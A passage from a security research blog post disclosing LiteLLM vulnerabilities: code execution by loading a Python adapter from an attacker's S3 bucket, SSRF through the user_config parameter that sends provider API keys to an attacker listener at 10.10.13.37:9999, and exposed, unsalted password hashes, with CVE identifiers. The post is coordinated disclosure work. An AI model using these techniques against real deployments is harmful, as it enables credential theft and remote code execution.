“include_subpath”: true
}
]
}
}

When this request is processed, LiteLLM:

1. Parses the S3 URL to extract bucket (attacker-bucket) and object key (adapters/evil_adapter.py)
2. Downloads the Python file to a temporary location
3. Calls exec_module() which executes the top-level os.makedirs() call
4. The marker directory /tmp/litellm-pwned is created, confirming code execution

The screenshot below from inside of the Docker container running LiteLLM shows that our arbitrary code was executed and our marker directory was created:

While this proof of concept creates a benign marker directory, an attacker could replace the payload with a reverse shell, credential theft, or any arbitrary code execution.

Server-Side Request Forgery Leading to LLM Provider API key Extraction

Separately from the access control bypass documented above, LiteLLM exposes a documented feature called “Clientside LLM Credentials” that allows any authenticated user to redirect LLM API calls to arbitrary endpoints. This creates a Server-Side Request Forgery (SSRF) vulnerability that can be exploited to steal API credentials or probe internal networks.

Overview

The /chat/completions endpoint (and other LLM endpoints) accepts a user_config parameter in the request body. When present, this parameter causes LiteLLM to create a new router with attacker-controlled settings, including the ability to specify a custom api_base URL.

Vulnerable Code Path

When a request contains `user_config`, the routing logic in `route_llm_request.py` creates a new router with the attacker’s configuration:

# litellm/proxy/route_llm_request.py (lines 122-127)
elif “user_config” in data:
router_config = data.pop(“user_config”)
user_router = litellm.Router(**router_config) # <– Attacker-controlled router
ret_val = getattr(user_router, f”{route_type}”)(**data)
user_router.discard()
return ret_val

No validation is performed on the user_config contents. The attacker can specify a complete model_list with arbitrary api_base values, causing subsequent API calls to be sent to attacker-controlled servers.

Proof of Concept

Attacker’s Server Setup:

Set up a listener on an attacker-controlled server (e.g., 10.10.13.37:9999) to capture incoming requests. In this case, we use a simple netcat listener but any webserver is sufficient.

Malicious Request:

When this request is processed:

1. LiteLLM creates a new router using the attacker’s model_list
2. The chat completion request is sent to http://10.10.13.37:9999 instead of the legitimate OpenAI API
3. The attacker’s server receives the full request, including any configured API keys in the proxy’s default headers

Attacker’s Listener:

Below shows the attacker’s listener that receives the original LLM provider API key which the LiteLLM user should not have access to.

Note: While LiteLLM’s configurable_clientside_auth_params setting restricts direct api_base and api_key parameters in the request body, the user_config parameter follows a different code path that bypasses these restrictions entirely. This allows the documented “Clientside LLM Credentials” feature to be exploited for SSRF without any guardrails.

Miscellaneous Vulnerabilities

During our security assessment, we identified several additional vulnerabilities that, while not directly exploitable for full system compromise, represent significant security weaknesses:

Exposure of Password Hashes

Note: this issue was reported to LiteLLM and acknowledged at the time of reporting – however the issue appears to be a duplicate finding and is being tracked as GHSA-69×8-hrgq-fjj8.

The LiteLLM proxy exposes password hashes through various API endpoints, allowing authenticated users to retrieve hashed credentials for other users. This information disclosure increases the attack surface by providing attackers with material that can be subjected to offline cracking attempts. This information is intended to only be accessible to administrative accounts; however, due to the previously described issue with the UI based tokens, a low privileged user can access the password hashes for other accounts.

Insecure Password Hashing

Note: this issue was reported to LiteLLM and acknowledged at the time of reporting – however the issue appears to be a duplicate finding and is being tracked as GHSA-69×8-hrgq-fjj8.

Password hashes in LiteLLM are generated using a single iteration of a standard hash function without salting, rather than using modern password hashing algorithms like bcrypt, scrypt, or Argon2. This approach provides minimal protection against brute-force attacks and rainbow table lookups:

• No Salt: Identical passwords produce identical hashes, enabling rainbow table attacks
• Single Hash Iteration: Fast hash computation makes brute-force attacks practical
• Weak Algorithm: Standard cryptographic hashes are not designed for password storage

These weaknesses significantly reduce the effort required for an attacker to crack exposed password hashes.

Assigned CVEs

The vulnerabilities documented in this post were disclosed to the LiteLLM maintainers through a coordinated disclosure process.

• CVE-2026-35029: Missing Authorization in /config/update endpoint
• CVE-2026-59823: Server-Side Request Forgery via user_config parameter
• GHSA-69×8-hrgq-fjj8: [duplicate] Exposure of password key material
• GHSA-69×8-hrgq-fjj8: [duplicate] Insecure password storage without salting

Conclusions

This security assessment of LiteLLM revealed multiple high-risk vulnerabilities that could be chained together to achieve remote code execution, arbitrary file access, and complete system compromise. The most severe issue, the missing authorization checks in /config/update combined with environment variable injection, demonstrates how a single oversight in access control can cascade into multiple high-impact exploitation paths.

LiteLLM represents an important innovation in the LLM ecosystem, providing a unified interface and management layer for interacting with language models. The rapid development pace in this space has produced powerful tools that solve real problems for organizations deploying AI systems at scale. However, speed of innovation must not come at the expense of fundamental security practices.

The vulnerabilities documented here are not novel attack classes; they include missing authorization checks, path traversal, RCE via dynamic module loading, and insecure password storage. These are well-understood security issues with established mitigation patterns. Their presence in production code highlights a concerning trend: as the AI and LLM ecosystem races forward, traditional security fundamentals are sometimes treated as secondary concerns.

The post When LLM Gateways Go Wrong: Findings from LiteLLM appeared first on Check Point Research.